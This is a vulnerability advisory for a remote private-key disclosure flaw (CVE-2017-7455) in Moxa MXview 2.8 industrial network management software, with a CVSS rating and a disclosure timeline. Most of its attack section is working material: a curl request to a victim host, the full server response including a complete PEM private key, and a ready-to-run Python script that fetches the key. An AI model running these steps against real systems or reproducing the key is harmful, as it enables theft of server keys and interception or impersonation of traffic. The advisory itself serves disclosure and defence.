Moxa MXview v2.8 Remote Private Key Disclosure

2017-04-10 / 2017-04-15
Credit: hyp3rlinx
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

[+] Credits: John Page AKA HYP3RLINX [+] Website: [+] Source: [+] ISR: APPARITIONSEC Vendor: ============ Product: =========== MXview V2.8 Download: MXview Industrial Network Management Software. Auto discovery of network devices and physical connections Event playback for quick troubleshooting Color-coded VLAN/IGMP groups and other visualized network data Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere. Vulnerability Type: ============================= Remote Private Key Disclosure CVE Reference: ============== CVE-2017-7455 Security Issue: ================ MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key. Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request. e.g. curl -v http://VICTIM-IP:81/certs/mxview.key * About to connect() to VICTIM-IP port 81 * Trying VICTIM-IP... connected * Connected to VICTIM-IP (VICTIM-IP) port 81 > GET /certs/mxview.key HTTP/1.1 > User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 > Host: VICTIM-IP:81 > Accept: */* > < HTTP/1.1 200 OK < Date: Tue Feb 28 14:18:00 2017 < Server: GoAhead-Webs < Last-modified: Tue Feb 28 10:46:51 2017 < Content-length: 916 < Content-type: text/plain -----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG2w0BAQEFAASCAmEwggJdAgEAAoGBAMO2BjHS6rFYqxPb QCjhVn5+UGwfICfETzk5JQvhkhc71bnsDHI7lVyYhheYLcPQBEglVolwGANPp7LF 2lhG+UaSFfTVk8UDvV0qQpjSQvDjcWSuKBfceyT5zmI8ynxuMHoqBR7ZOSLY31z+ Rxt+JCykwqfMGdjawnC5ivr8iWDpAgMBAAECgYAQpHjwYbQtcpHRtXJGR6s4RHuI RjlQyGPIRPC+iucGbMMm9Ui1qhVwc1Pry7gQj67dh7dNJqgUGAD1tdd0bEykKoqm ICgXj0HMPCLxUy4CHIZInsBhzAyp/3atkDIaeELZckCbmttkVvncDi+b9HnuL/To YwJpuLkpXEKpjK7iAQJBAOof+yliPn7UsBecw/Hc/ixeDRGI1kjtvuOvSi6jLZoj 3rzODMSD1eRcrK/GJydWVT8TV3WXXYn3M1cu3kmQJKkCQQDV/zlBtFFPPVAl1zy7 UBG+RPI63uXeaA0C1+RX2XfJSR4zeKxnWgalzUl0UwMgWB3Gpp2+VW5a/zw3aKlK 6MJBAkBHPMXqWKdVZhfSh3Ojky+PhmqJjE5PUG/FzZ9Pw3zrqsBqSHPgE5Ewc/Zj YXKmavCbSaJR+GWQxjPL8knWrlJJAkEAkahnEJHrxkO1igw3Ckg0y4yiU+/kBr5M HONWSXV8U0WxiNdagf6FB9XzaXoXZuyTl+NQ+3yq4MVZ910F3jcQAQJBAI+q0AcX EskHai2Fx24gkHwwRxacsiXrRClxIj5NB52CSo2Sy6EF02DKQVWR3oIjDesXcWvl +CPTV6agBkYxe7Q= -----END PRIVATE KEY----- Exploit: ========= import socket print 'Moxa MXview 2.8 Remote Private Key Theft' print 'by hyp3rlinx\n' IP=raw_input("[Moxa MXview IP]> ") PORT=int(raw_input("[PORT]> ")) STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,PORT)) s.send(STEAL_PRV_KEY) print 'Enjoy ur private server key!\n' print s.recv(512) s.close() Network Access: =============== Remote Severity: ========= Critical Disclosure Timeline: =================================== Vendor Notification: March 5, 2017 Vendor confirms vulnerability : March 21, 2017 Vendor "updated firmware April 7, 2017" : March 29, 2017 April 9, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). HYP3RLINX


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